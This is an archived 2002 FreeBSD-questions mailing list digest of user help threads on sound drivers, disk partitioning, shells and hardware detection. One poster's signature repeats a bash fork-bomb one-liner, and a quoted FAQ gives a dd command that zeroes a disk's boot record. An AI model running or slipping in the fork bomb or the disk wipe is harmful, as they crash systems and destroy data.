Also, if anyone can point me to a good site on kernel configuring, sound
issues I would appreciate it.

thanks
dale

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From owner-freebsd-questions  Tue Jul 30 18:21:49 2002
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Date: Mon, 29 Jul 2002 17:51:47 -0700
From: Dale Morris <dlm@well.com>
To: freebsd-questions@FreeBSD.ORG
Subject: AC97
Message-ID: <20020730005147.GA7791@well.com>
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Apologies if this comes through twice, it's not showing up on the list..

I'm trying to get my sound card working in a new install of 4.6 and it's
an onboard chip on a MSI 6309 LE2 mainboard. I've read the handbook and
I'm still confused about how to get this card working.

Can I just insert the proper module by doing:

root# kldload AC97**module.so (or whatever module(s) need to be loaded

or do I have to reconfigure the kernel? It seems it should function
under the soundblaster pcm module, but I'm not having much success.

Also, if anyone can point me to a good site on kernel configuring, sound
issues I would appreciate it.

thanks
dale

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From owner-freebsd-questions  Tue Jul 30 18:21:54 2002
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Date: Mon, 29 Jul 2002 09:54:12 -0700
From: Dale Morris <dlm@well.com>
To: freebsd-questions@FreeBSD.ORG
Subject: AC 97 Sound
Message-ID: <20020729165412.GB6708@well.com>
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I'm working with a new install of 4.6 and I'm trying to get sound
working. My card is an onboard AC97 chip on a MicroStar International
MS-6309 LE2 mainboard. 

Do I have to recompile the kernel to get sound working or can I do:

root # kldload AC97**module (whatever the appropriate module or modules
are from the /modules directory) and get sound that way?

I've read the handbook on this and am still somewhat confused, it
appears the pcm module should work with AC97 onboard sound, but so far
I've been unsuccessful. 

If anyone can point me to a good newbie/bonehead site for kernel
compilation, I would sure appreciate it.

thanks
dale


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From owner-freebsd-questions  Tue Jul 30 18:22: 1 2002
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Date: Mon, 29 Jul 2002 09:54:12 -0700
From: Dale Morris <dlm@well.com>
To: freebsd-questions@FreeBSD.ORG
Subject: AC 97 Sound
Message-ID: <20020729165412.GB6708@well.com>
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I'm working with a new install of 4.6 and I'm trying to get sound
working. My card is an onboard AC97 chip on a MicroStar International
MS-6309 LE2 mainboard. 

Do I have to recompile the kernel to get sound working or can I do:

root # kldload AC97**module (whatever the appropriate module or modules
are from the /modules directory) and get sound that way?

I've read the handbook on this and am still somewhat confused, it
appears the pcm module should work with AC97 onboard sound, but so far
I've been unsuccessful. 

If anyone can point me to a good newbie/bonehead site for kernel
compilation, I would sure appreciate it.

thanks
dale


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subscribe


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Date: Mon, 29 Jul 2002 17:51:47 -0700
From: Dale Morris <dlm@well.com>
To: freebsd-questions@FreeBSD.ORG
Subject: AC97
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Apologies if this comes through twice, it's not showing up on the list..

I'm trying to get my sound card working in a new install of 4.6 and it's
an onboard chip on a MSI 6309 LE2 mainboard. I've read the handbook and
I'm still confused about how to get this card working.

Can I just insert the proper module by doing:

root# kldload AC97**module.so (or whatever module(s) need to be loaded

or do I have to reconfigure the kernel? It seems it should function
under the soundblaster pcm module, but I'm not having much success.

Also, if anyone can point me to a good site on kernel configuring, sound
issues I would appreciate it.

thanks
dale

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From owner-freebsd-questions  Tue Jul 30 18:23:28 2002
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On Tue, 30 Jul 2002, robert Backhaus wrote:
> You can do anything with FreeBSD....

But you cannot undo anything (i.e. _everything_) with FreeBSD.  *wahunnn*

> Check out references on 'Dangerously Dedicated' disks. This looks promising -
> http://www.pl.freebsd.org/FAQ/FAQ114.html

Slices rock.  But three things aren't clear at the above write-up:

"The advantages of this mode are: FreeBSD owns the entire disk, no need to
waste several fictitious `tracks' for just nothing but a 1980-aged
simplistic partitioning model enforcing some artificial and now rather
nonsensical constraints on how this partitioning needs to be done. These
constraints often lead to what might be the biggest headaches for OS
installations on PCs, geometry mismatch hassles resulting out of two
different, redundant ways how to store the partitioning information in the
fdisk table. See the chapter about Missing Operating System. In
``dangerously dedicated'' mode, the BSD bootstrap starts at sector 0, and
this one is the only sector that always translates into the same C/H/S
values, regardless of which `translation' your BIOS is using for your disk.
Thus, you can also swap disks between systems/controllers that use a
different translation scheme, without risking that they won't boot anymore."

It isn't clear but they seem to be "selling" the reader on this version,
even though the misnomer and scary name has the word dangerous in it.

Er, that was kind of question one.

"To return a ``dangerously dedicated'' disk for normal PC use, there are
basically two options. The first is, you write enough NULL bytes over the
MBR to make any subsequent installation believe this to be a blank disk.
You can do this for example with `dd if=/dev/zero of=/dev/rsd0 count=15`"

Here I am wondering why they say "to return a d.d.d. for normal PC use" -
do they mean exclusively PC use?  I would rest better if it was written
from the angle of "here's why you may want to do x, y and z oh and here is
how to -DO- x, y and z..."

"Alternatively, the undocumented DOS ``feature'' `fdisk /mbr` will to
install a new master boot record as well, thus clobbering the BSD bootstrap."

Question 3, is this fdisk /mbr a DOS command or a FreeBSD command, or both?

> It's nothing that a `ZapDisk' type utility won't fix.

Ooh ooh ooh!  What is ZapDisk?  Is it like PartitionMagic for FreeBSDers?!

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Tue Jul 30 18:27:34 2002
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Dear all

   Some customer of my company interest in FreeBSD.
   We have tell them about GPL.
   Would you please tell me where can I BUY FreeBSD packages?

Leon Lin


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From owner-freebsd-questions  Tue Jul 30 18:32:12 2002
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On Mon, 29 Jul 2002, Dale Morris wrote:
> Apologies if this comes through twice, it's not showing up on the list..
>
> I'm trying to get my sound card working in a new install of 4.6 and it's
> an onboard chip on a MSI 6309 LE2 mainboard. I've read the handbook and
> I'm still confused about how to get this card working.
>
> Can I just insert the proper module by doing:
>
> root# kldload AC97**module.so (or whatever module(s) need to be loaded
>
> or do I have to reconfigure the kernel? It seems it should function
> under the soundblaster pcm module, but I'm not having much success.
>
> Also, if anyone can point me to a good site on kernel configuring, sound
> issues I would appreciate it.
>
> thanks
> dale

This line in /boot/defaults/loader.conf should be changed to YES or copied
into just /boot/loader.conf

snd_ad1816_load="NO"            # ad1816 isa

Or a similar line, maybe the emu101k one about SB Live... should do it. :)

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Tue Jul 30 18:34:26 2002
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On 31 Jul 2002, Leon Lin wrote:
> Dear all - Some customer of my company interest in FreeBSD. We have tell them about GPL. Would you please tell me where can I BUY FreeBSD packages?
> Leon Lin

I am not an official spokesman or representative of FreeBSD, but they do
sell it on CDROMS at www.freebsdmall.com and some other retailers sell it.

If you just mean packages like the ones that are files ending in *.tgz that
you can do `pkg_add -r package_name_here` those are open source -- free.

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Tue Jul 30 18:34:50 2002
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From: robert Backhaus <robbakfreebsd@yahoo.co.uk>
Subject: Re: Can FreeBSD make a hard drive unbootable by other OS's ?
To: Peter Leftwich <Hostmaster@Video2Video.Com>
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--- Peter Leftwich <Hostmaster@Video2Video.Com> wrote:
> On Tue, 30 Jul 2002, robert Backhaus wrote:
> > You can do anything with FreeBSD....
> 
> But you cannot undo anything (i.e. _everything_)
> with FreeBSD.  *wahunnn*
> 
> > Check out references on 'Dangerously Dedicated'
> disks. This looks promising -
> > http://www.pl.freebsd.org/FAQ/FAQ114.html
> 
> Slices rock.  But three things aren't clear at the
> above write-up:
> 
> "The advantages of this mode are: FreeBSD owns the
> entire disk, no need to
> waste several fictitious `tracks' for just nothing
> but a 1980-aged
> simplistic partitioning model enforcing some
> artificial and now rather
> nonsensical constraints on how this partitioning
> needs to be done. These
> constraints often lead to what might be the biggest
> headaches for OS
> installations on PCs, geometry mismatch hassles
> resulting out of two
> different, redundant ways how to store the
> partitioning information in the
> fdisk table. See the chapter about Missing Operating
> System. In
> ``dangerously dedicated'' mode, the BSD bootstrap
> starts at sector 0, and
> this one is the only sector that always translates
> into the same C/H/S
> values, regardless of which `translation' your BIOS
> is using for your disk.
> Thus, you can also swap disks between
> systems/controllers that use a
> different translation scheme, without risking that
> they won't boot anymore."
> 
> It isn't clear but they seem to be "selling" the
> reader on this version,
> even though the misnomer and scary name has the word
> dangerous in it.
> 
> Er, that was kind of question one.

Now we've got 40GB disks for the price of a good day's
work, those tracks are rather unimportant. I still
would use DD mode if I didn't want to dual boot,
knowing that any strange formatting can be zapped away
fairly easily.

> 
> "To return a ``dangerously dedicated'' disk for
> normal PC use, there are
> basically two options. The first is, you write
> enough NULL bytes over the
> MBR to make any subsequent installation believe this
> to be a blank disk.
> You can do this for example with `dd if=/dev/zero
> of=/dev/rsd0 count=15`"
> 
> Here I am wondering why they say "to return a d.d.d.
> for normal PC use" -
> do they mean exclusively PC use?  I would rest
> better if it was written
> from the angle of "here's why you may want to do x,
> y and z oh and here is
> how to -DO- x, y and z..."

What this will do is, for the purposes of any
fsidk/partition magic/formatter program, return the
disk to a 'Unformatted, straight from the factory'
state. From there, do what you want! It's the `fix all
problems' shotgun solution.

> 
> "Alternatively, the undocumented DOS ``feature''
> `fdisk /mbr` will to
> install a new master boot record as well, thus
> clobbering the BSD bootstrap."
> 
> Question 3, is this fdisk /mbr a DOS command or a
> FreeBSD command, or both?
> 

Dos command. It's the dos disk partitioner. Great for
this, but it's too slow for most PC installers, who
use things from Ontrack that format a disk in about 5
seconds.

> > It's nothing that a `ZapDisk' type utility won't
> fix.
> 
> Ooh ooh ooh!  What is ZapDisk?  Is it like
> PartitionMagic for FreeBSDers?!
> 
It's a dos utility that does the 'partition table
obliteration' outlined above. Put it on a boot floppy
and add it to your tooklit. Do a google, I couldn't
find it's hompage. It'll be at tucows et al 
> --
> Peter Leftwich
> President & Founder
> Video2Video Services
> Box 13692, La Jolla, CA, 92039 USA
> +1-413-403-9555
> 


__________________________________________________
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7/30/2002 4:59:24 PM, Vivek Khera <khera@kcilink.com> wrote:

>>>>>> "JM" == John Mills <jmmills@telocity.com> writes:
>
>JM> Apple has run a great series of ads in e-Week, showing that 
[definitely]
>JM> pretty desktop and suggesting their combination of iBook and 
Mac OS X is
>JM> the answer to a SysAdmin's prayer: sexy _and_ cute.
>
>Last week at O'Reilly's Open Source conference, about a billion people
>were sporting shiny new PowerBooks and iBooks.  Two of us had 
those
>creaky old iBooks, too.
>
>The next time I need to update my desktop at work, it will be running
>MacOS X.  The servers will still run FreeBSD, though...

I poked around on some Macs in a local CompUSA, having become 
curious about OS X and the new iMac.  OS X was slower than I 
expected (not smooth on stuff like dragging windows) on the new iMacs 
and eMacs, and the 15" flat-panel display on the iMac still seems a bit 
small.  But on the 2-processor G4, hooked up to a 22" flat screen Apple 
Cinema Display, running a number of apps including an animated 
mathematical simulation, OS X ran fast and looked by-God impressive.  
(If the folks at CompUSA had some sense, that would have been sitting 
in front of the entrance rather than at the back of the store.)

Jud



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From owner-freebsd-questions  Tue Jul 30 18:44:43 2002
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From: Jud <jud@myrealbox.com>
To: freebsd-questions@FreeBSD.ORG,
	Cherie & John Carri <cjcarri@earthlink.net>
Date: Tue, 30 Jul 2002 21:43:49 -0400
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7/30/2002 7:42:51 AM, Cherie & John Carri <cjcarri@earthlink.net> 
wrote:

>Hi all,
>  I had FreeBSD 4.2 installed on an old PC I use as an intranet web
>server in my classroom. It was the only operating system installed on
>that machine, and I started the FreeBSD install by erasing all
>partitions on the hard drive (an old Western Digital 4.3 Gig IDE drive),
>then using FreeBSD's sysinstall to create the partitions for the 
FreeBSD
>installation.
>
>  For various reasons, I am now attempting to use this hard drive on
>another PC. The drive shows up normally in the BIOS, and I was able 
to
>install Mandrake Linux 8.2 on it with no problems; using a shareware
>utility called Boot It Lite, I was able to verify that the drive does
>contain the 4 Linux partitions I created during the Linux install
>(/boot, swap, /, and /home). However the PC will not boot from the hard
>drive. (Yes, the BIOS is set to boot from first the floppy, then the
>CDROM, and then the hard drive in question. Yes, the /boot partition is
>completely below 1 Gig to avoid any LILO issues).

Try changing the boot order in the BIOS so the hard drive comes before 
the CDROM.

Jud



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From owner-freebsd-questions  Tue Jul 30 18:44:57 2002
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X-Loop: FreeBSD.ORG

You know that "Samba" program for mounting FreeBSD drives to Windows?

What like it is there for MacOS, or must you just run transparent [s]ftp or
something?  Just curious.  No plans to be a switcher@apple.com - I poke at
MacOS like a 5' twig against a cat on a freeway...

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Tue Jul 30 18:45: 2 2002
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Date: Tue, 30 Jul 2002 19:41:54 -0600 (MDT)
From: Warren Block <wblock@wonkity.com>
To: Dale Morris <dlm@well.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: AC97
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X-Loop: FreeBSD.ORG

On Mon, 29 Jul 2002, Dale Morris wrote:

> I'm trying to get my sound card working in a new install of 4.6 and it's
> an onboard chip on a MSI 6309 LE2 mainboard. I've read the handbook and
> I'm still confused about how to get this card working.
> 
> Can I just insert the proper module by doing:
> 
> root# kldload AC97**module.so (or whatever module(s) need to be loaded

I don't know about that, I generally don't use kernel modules for things
that can be compiled into the kernel.
 
> or do I have to reconfigure the kernel? It seems it should function
> under the soundblaster pcm module, but I'm not having much success.

My MSI 6380 onboard sound works fine with just "device pcm" added to the
kernel config file.  (It's tinny, but that's not the fault of the
driver!)
 
> Also, if anyone can point me to a good site on kernel configuring, sound
> issues I would appreciate it.

Chapter 14 in the Handbook covers it reasonably well.  It's on the
www.freebsd.org web site.
 
-Warren Block * Rapid City, South Dakota USA


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From owner-freebsd-questions  Tue Jul 30 18:46:10 2002
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Subject: Simpliest & Safest way to utilize bash_profile w/ root
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X-Loop: FreeBSD.ORG

I am trying to narrow down the "proper" way to get a different shell going with
FreeBSD, 4.6 in this case. With simplicity and security in mind...

Situation 1)

Fresh install of OS, root is csh I think by default. A new account is created and is
defaulted to csh. Lets call this username1.

username1 will be added to the wheel group.

From the console, first up I need to change the default editor for root, by doing:

# cd /root
# pico (or favourite editor) .cshrc -> change editor to pico

Now I want to "chpass" username1, to bash first.

# chpass username1 -> which I change to /usr/local/bin/bash

Now I create a .bash_profile in /home/username1, with some of the following:

# .bash_profile - Bourne Again SHell configuration file for login shells.

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/bin:/usr/local/sbin:/usr/X1
1R6/bin:$HOME/bin; export PATH

# file permissions: rwxr-xr-x
umask 077


BLOCKSIZE=K; export BLOCKSIZE
EDITOR=pico; export EDITOR
PAGER=/usr/bin/more; export PAGER


# set ENV to a file invoked each time bash is started for interactive use.
#ENV=$HOME/.shrc; export ENV


# # be paranoid--get warned before overwriting and deleting files :)
alias cp='cp -ip'
alias mv='mv -i'
alias rm='rm -i'

# Normal aliases
alias h='fc -l'
alias j=jobs
alias ll='ls -laFo'
alias l='ls -l'
alias egrep='egrep -i'
alias ping='ping -c 5'
alias grep='grep -i'
alias dir='ls -laFo'

# set prompt
PS1="\d == [\u@\h]\w # "
PS2=">"

# search path for cd(1)
# CDPATH=.:$HOME

What are these for??


Now lets say there are 10 user accounts on the system -- some like
bash, some like csh, etc. username1 wants bash for their account
and the same bash_profile for when they su and become root, yet
they do not want globize their profile when everyone else su's to root.

What would be the best way to accomplish this?


Thank you!!!

P.S. "Situation 2" may become an issue if situation 1 is impossible, stay tuned. :)





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From owner-freebsd-questions  Tue Jul 30 18:47:14 2002
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X-Loop: FreeBSD.ORG

Last post for the day -- It seems to me like KDE 2.2.2's Konqueror browser
is tied tightly to the OS and/or KDE itself (ick eck bleh).  Konq konks out
often and sends the wallpaper all grey/blank, bleeds windows as they are
dragged, and clones a zillion animated cursors one behind the next progeny!

Is the browser tied to any of KDE's components the way that Microsoft had
that "Active Desktop" with webcomponents "stitched" into the wallpaper??

I dread Netscape (nut-scrape) and have heard good things about Opera but am
too lazy to install... I really miss the latest version of IE!

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Tue Jul 30 18:49:48 2002
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From: Warren Block <wblock@wonkity.com>
To: freebsd-questions@freebsd.org
Subject: Stupid question about "less"
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X-Loop: FreeBSD.ORG

Is there an easier way to do case-insensitive searches with less?  That
is, other than with tedious things like this:

/[Ss][Oo][Mm][Ee][Tt][Hh][Ii][Nn][Gg]

Nothing jumps out from the man page...

-Warren Block * Rapid City, South Dakota USA


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From owner-freebsd-questions  Tue Jul 30 18:52:18 2002
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Date: Tue, 30 Jul 2002 21:52:15 -0500
From: Scott Robbins <scottro@nyc.rr.com>
To: Jud <jud@myrealbox.com>
Cc: freebsd-questions@FreeBSD.ORG, Vivek Khera <khera@kcilink.com>
Subject: Re: [OT] Re: Peter heads back to M$FT WinBloze
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X-Loop: FreeBSD.ORG

On Tue, Jul 30, 2002 at 09:38:53PM -0400, Jud wrote:
> 7/30/2002 4:59:24 PM, Vivek Khera <khera@kcilink.com> wrote:
> 
> >>>>>> "JM" == John Mills <jmmills@telocity.com> writes:
> >
> >JM> Apple has run a great series of ads in e-Week, showing that 
> [definitely]
> >JM> pretty desktop and suggesting their combination of iBook and 
> Mac OS X is
> >JM> the answer to a SysAdmin's prayer: sexy _and_ cute.
> >
> 
> I poked around on some Macs in a local CompUSA, having become 
> curious about OS X and the new iMac.  OS X was slower than I 
> expected (not smooth on stuff like dragging windows) on the new iMacs 
> and eMacs, and the 15" flat-panel display on the iMac still seems a bit 
> small.  But on the 2-processor G4, hooked up to a 22" flat screen Apple 
> Cinema Display, running a number of apps including an animated 
> mathematical simulation, OS X ran fast and looked by-God impressive.  
> (If the folks at CompUSA had some sense, that would have been sitting 
> in front of the entrance rather than at the back of the store.)

Actually, after some burglars visted us and made off with my wife's
laptop, I got her a Mac, figuring it would add to my resume. Like you, I
was a little disappointed in the speed, (This is an iBook--G3 733 ? I
think--processor and 383 megs of RAM.) 

However, Apple, with the usual marketing brilliance has, as soon as they
started to get a little of the market back, suddenly begun charging $100
per year for mac.com.  I've only played with the computer a bit--she's
rather possessive of it, but the terminal feature is certainly nice, and
unlike Macs of old, it doesn't seem to crash.  :)  (Up till OS X, if I'm
not mistaken, it was still co-operative multi-tasking).  

It does seem as if it can become a serious contender.

Scott Robbins



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From owner-freebsd-questions  Tue Jul 30 18:52:39 2002
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From: Warren Block <wblock@wonkity.com>
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On Tue, 30 Jul 2002, Peter Leftwich wrote:

> I dread Netscape (nut-scrape) and have heard good things about Opera but am
> too lazy to install... I really miss the latest version of IE!

Mozilla works.  Linux-Mozilla works better.  Either has a usable FTP
mode, apparently unlike whatever they did to IE 6.

-Warren Block * Rapid City, South Dakota USA


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From owner-freebsd-questions  Tue Jul 30 18:54:33 2002
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From: Scott Robbins <scottro@nyc.rr.com>
To: Peter Leftwich <Hostmaster@Video2Video.Com>
Cc: FreeBSD LIST <FreeBSD-Questions@FreeBSD.ORG>
Subject: Re: MacOS "Samba" for FreeBSD/viceversa?
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On Tue, Jul 30, 2002 at 09:43:13PM -0400, Peter Leftwich wrote:
> You know that "Samba" program for mounting FreeBSD drives to Windows?
> 
> What like it is there for MacOS, or must you just run transparent [s]ftp or
> something?  Just curious.  No plans to be a switcher@apple.com - I poke at
> MacOS like a 5' twig against a cat on a freeway...

Yup, just about transparent for file sharing, though not for
printing--you type in something like, smb://192.168.1.100 and if the Mac
user has an account and an smbpassword (a smbpassword? Hrmm--a or an?)
anyway, it's like sharing files in an MS network (or MS to samba).
Printing however, isn't transparent--I had a bit of trouble setting it
up, my wife lost patience, told me to stop playing with her machine and
hook up the cheap printer that was thrown in with it.  :)

HTH

Scott Robbins 


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From owner-freebsd-questions  Tue Jul 30 19: 3:40 2002
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From: Jud <jud@myrealbox.com>
To: freebsd-questions@freebsd.org, "Oleg Kyryliv" <koli@kinto.com>
Date: Tue, 30 Jul 2002 22:03:56 -0400
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7/30/2002 10:02:42 AM, "Oleg Kyryliv" <koli@kinto.com> wrote:

>All work, but i have ... (scroll down)
>
>%dmesg
>
>Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 
1994
>        The Regents of the University of California. All rights reserved.
>FreeBSD 4.6-RC #0: Mon May 27 16:15:26 EEST 2002
[snip]
>20480
>ad1: READ command timeout tag=0 serv=0 - resetting
>ata0: resetting devices .. done
>swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 30560, 
size:
>4096
>
>
>what is it ?
>how to solve this ?

There was substantial work done on the ata driver after 4.6-RELEASE.  
Try cvsupping to -STABLE and see if that resolves the problem.  (Or if 
there's a 4.6.1-RELEASE branch yet, you can try that if you prefer.)

Jud



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From owner-freebsd-questions  Tue Jul 30 19: 3:51 2002
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In the last episode (Jul 30), Warren Block said:
> Is there an easier way to do case-insensitive searches with less?  That
> is, other than with tedious things like this:
> 
> /[Ss][Oo][Mm][Ee][Tt][Hh][Ii][Nn][Gg]
> 
> Nothing jumps out from the man page...

You must have glazed over this paragraph :)

       -i or --ignore-case
              Causes  searches to ignore case; that is, uppercase
              and  lowercase  are  considered  identical.    This
              option  is  ignored if any uppercase letters appear
              in the search pattern; in other words, if a pattern
              contains  uppercase  letters, then that search does
              not ignore case.

-- 
	Dan Nelson
	dnelson@allantgroup.com

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From owner-freebsd-questions  Tue Jul 30 19: 6:49 2002
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Subject: Autodetecting Hardware
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Does freebsd have any software to do hardware autodetection (like kudzu for
linux). My company has given me a machine, and I don't know what sound card
it has. Is there some way I can get it configured?

Thanx,

Pavan Balaji,
Intel Corporation
Email: pavan.balaji@intel.com

    "Only the Paranoid Survive"  --  Andy Grove


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From owner-freebsd-questions  Tue Jul 30 19: 7:19 2002
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From: Jud <jud@myrealbox.com>
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Subject: Re: Promise Ultra ATA/133 TX2 stable?
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7/29/2002 3:06:22 PM, Hanspeter Roth <hanspeter_roth@hotmail.com> 
wrote:

>Hello,
>
>I bought a Promise Ultra ATA/133 TX2. And obviously there is a
>difference between with TX2 and without.
>The Ultra ATA/133 TX2 is not listed in supported hardware
>http://www.freebsd.org/releases/4.6R/hardware-i386.html
>But with 4.5-RELEASE-p6 it seems to work.
>Is it's support stable already?
>
>-Hanspeter
>
>Reply-To: mailinglist

Yes.  I've been using the OEM equivalent onboard Promise Ultra 
ATA/133 PDC20276 for months on 4-STABLE.

Jud




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From owner-freebsd-questions  Tue Jul 30 19:13:43 2002
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Subject: RE: Autodetecting Hardware
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I have gone through the manual given by FreeBSD, but that assumes that we
know which sound card we have. That's not true in my case (unless I open up
my machine, and have a look inside).


Pavan Balaji,
Intel Corporation
Email: pavan.balaji@intel.com

    "Only the Paranoid Survive"  --  Andy Grove


> -----Original Message-----
> From: Jacob Rhoden [mailto:f3z@iprimus.com.au]
> Sent: Monday, July 29, 2002 9:11 PM
> To: Balaji, Pavan
> Subject: Re: Autodetecting Hardware
> 
> 
> At 07:06 PM 30/07/2002 -0700, you wrote:
> >Does freebsd have any software to do hardware autodetection 
> (like kudzu for
> >linux). My company has given me a machine, and I don't know 
> what sound card
> >it has. Is there some way I can get it configured?
> 
> By default there is no support for sound compiled in the 
> kernel, so you
> need to either rebuild the kernel (best option) or 
> dynamically load the
> sound driver modules. How to do this is explained here:
> 
> http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/soun
> d-setup.html
> 
> If your lucky, it may work (: Ive only been able to get sound 
> to work on a
> few of my computers!
> 
> Regards,
> Jacob
> 

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From owner-freebsd-questions  Tue Jul 30 19:15:25 2002
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From: Jud <jud@myrealbox.com>
To: questions@freebsd.org, "Ian Barnes" <ian@cerebellum.za.net>
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7/29/2002 10:54:52 AM, "Ian Barnes" <ian@cerebellum.za.net> wrote:

>Hi,
>
>I am trying to install 4.5 on a 4gig hdd. I boot up using the CD, all goes
>well, i get to the sysinstall main menu, and i carry on, i create
>partitions, 4 of them, one for /, one for /var, one for /usr/home, and 
one
>for swap (in that order). I then write the information, which all goes 
well.
>The problem comes in when i try and write the label information. I set it 
up
>as above.
>
>The error i get is the one below:
>
><snip>
>Unable to swap to /dev/ad0s4b: Device not configured
></snip>
>I push enter, to get to the next error
>
><snip 2>
>Unable to make new root filesystem on /dev/ad0s1a
>Command returned status 1
>
></snip 2>
>
>In the debug screen, i get :
>
><snip 3>
>DEBUG: Scanning disk ad0 for root filesystem
>DEBUG: Scanning disk ad0 for swap partitions
>newfs: /dev/ad0s1a: 'a' partition is unavailable
>
></snip 3>
>
>The hdd is fine, because just before i was gonna change it to bsd, i 
was
>using it in doze ...
>
>Any help would be great
>
>Thanks
>Ian

A guess - the b partition is usually swap.  Try putting your swap there.  
Also, why is the machine looking for swap on s4, but / on s1?  Did you 
intend to set up / on a different slice?  (Can that work?)  What's on s2 
and s3?

Jud




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From: Edwin Groothuis <edwin@mavetju.org>
To: "Balaji, Pavan" <pavan.balaji@intel.com>
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On Tue, Jul 30, 2002 at 07:06:44PM -0700, Balaji, Pavan wrote:
> 
> Does freebsd have any software to do hardware autodetection (like kudzu for
> linux). My company has given me a machine, and I don't know what sound card
> it has. Is there some way I can get it configured?

If it's a PCI-card, try `pciconf -l -v'. Can Intel give me a machine too? :-P

Edwin

-- 
Edwin Groothuis      |            Personal website: http://www.MavEtJu.org
edwin@mavetju.org    |    Weblog: http://www.mavetju.org/weblog/weblog.php 
bash$ :(){ :|:&};:   | Interested in MUDs? http://www.FatalDimensions.org/

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From: Jud <jud@myrealbox.com>
To: "'Jacob Rhoden'" <f3z@iprimus.com.au>,
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7/30/2002 10:13:36 PM, "Balaji, Pavan" <pavan.balaji@intel.com> 
wrote:

>
>I have gone through the manual given by FreeBSD, but that assumes 
that we
>know which sound card we have. That's not true in my case (unless I 
open up
>my machine, and have a look inside).
>
>
>Pavan Balaji,
>Intel Corporation
>Email: pavan.balaji@intel.com
>
>    "Only the Paranoid Survive"  --  Andy Grove
>
>
>> -----Original Message-----
>> From: Jacob Rhoden [mailto:f3z@iprimus.com.au]
>> Sent: Monday, July 29, 2002 9:11 PM
>> To: Balaji, Pavan
>> Subject: Re: Autodetecting Hardware
>> 
>> 
>> At 07:06 PM 30/07/2002 -0700, you wrote:
>> >Does freebsd have any software to do hardware autodetection 
>> (like kudzu for
>> >linux). My company has given me a machine, and I don't know 
>> what sound card
>> >it has. Is there some way I can get it configured?
>> 
>> By default there is no support for sound compiled in the 
>> kernel, so you
>> need to either rebuild the kernel (best option) or 
>> dynamically load the
>> sound driver modules. How to do this is explained here:
>> 
>> http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/soun
>> d-setup.html
>> 
>> If your lucky, it may work (: Ive only been able to get sound 
>> to work on a
>> few of my computers!
>> 
>> Regards,
>> Jacob

What's the output of dmesg?

Jud



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From owner-freebsd-questions  Tue Jul 30 19:19:42 2002
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Thanx. That worked. I atleast know what sound card I have now.

And No, Intel is too poor now to give you a comp. :-)


Pavan Balaji,
Intel Corporation
Email: pavan.balaji@intel.com

    "Only the Paranoid Survive"  --  Andy Grove


> -----Original Message-----
> From: Edwin Groothuis [mailto:edwin@mavetju.org]
> Sent: Tuesday, July 30, 2002 9:16 PM
> To: Balaji, Pavan
> Cc: 'freebsd-questions@freebsd.org'
> Subject: Re: Autodetecting Hardware
> 
> 
> On Tue, Jul 30, 2002 at 07:06:44PM -0700, Balaji, Pavan wrote:
> > 
> > Does freebsd have any software to do hardware autodetection 
> (like kudzu for
> > linux). My company has given me a machine, and I don't know 
> what sound card
> > it has. Is there some way I can get it configured?
> 
> If it's a PCI-card, try `pciconf -l -v'. Can Intel give me a 
> machine too? :-P
> 
> Edwin
> 
> -- 
> Edwin Groothuis      |            Personal website: 
http://www.MavEtJu.org
edwin@mavetju.org    |    Weblog: http://www.mavetju.org/weblog/weblog.php 
bash$ :(){ :|:&};:   | Interested in MUDs? http://www.FatalDimensions.org/

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* Warren Block <wblock@wonkity.com> [2002-07-30 18:46]:
> On Mon, 29 Jul 2002, Dale Morris wrote:
> 
> > I'm trying to get my sound card working in a new install of 4.6 and it's
> > an onboard chip on a MSI 6309 LE2 mainboard. I've read the handbook and
> > I'm still confused about how to get this card working.
> > 
> Chapter 14 in the Handbook covers it reasonably well.  It's on the
> www.freebsd.org web site.
Thanks for the reply. I've gotten several good suggestions, I'll give it
a try and post back to the list with my results.

dale

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* Warren Block <wblock@wonkity.com> [2002-07-30 18:46]:
> On Mon, 29 Jul 2002, Dale Morris wrote:
> 
> > I'm trying to get my sound card working in a new install of 4.6 and it's
> > an onboard chip on a MSI 6309 LE2 mainboard. I've read the handbook and
> > I'm still confused about how to get this card working.
> > 
> Chapter 14 in the Handbook covers it reasonably well.  It's on the
> www.freebsd.org web site.
Thanks for the reply. I've gotten several good suggestions, I'll give it
a try and post back to the list with my results.

dale

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From owner-freebsd-questions  Tue Jul 30 19:52:36 2002
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On Tue, 30 Jul 2002, Dan Nelson wrote:

> In the last episode (Jul 30), Warren Block said:
> > Is there an easier way to do case-insensitive searches with less?
> 
> You must have glazed over this paragraph :)
> 
>        -i or --ignore-case
>               Causes  searches to ignore case; that is, uppercase

Huh--it doesn't list that in the summary at the top of the page, and I
could swear on the 4.4 system I was checking today, it didn't list it in
the body.  I'll check that again tomorrow.

Thanks to all who replied!

-Warren Block * Rapid City, South Dakota USA


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From owner-freebsd-questions  Tue Jul 30 20:31:20 2002
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[Format recovered--see http://www.lemis.com/email/email-format.html]

Incorrect quoting.

On Monday, 29 July 2002 at 21:56:29 -0400, Jud wrote:
> On Sun, 28 Jul 2002 12:00:16 +0930
> Greg 'groggy' Lehey <grog@lemis.com> wrote:
>
> [snip]
>> So what's in instant-workstation?  Currently I have:
>>
>> 	acroread
>> 	bash
>> 	cdrecord
>> 	dos2unix
>> 	emacs
>> 	fetchmail
>> 	gs
>> 	grip
>> 	gimp
>> 	gv
>> 	gpg
>> 	ispell
>> 	startkde
>> 	mkisofs
>> 	...
>> 	mutt
>> 	netscape
>>
>> My questions to you: is there anything missing?  Has anybody
>> tried instant-workstation?  I'd be interested in suggestions
>> about how to improve it.
>
> I haven't tried instant-workstation, so of course I'll rush in
> where angels fear to tread.
>
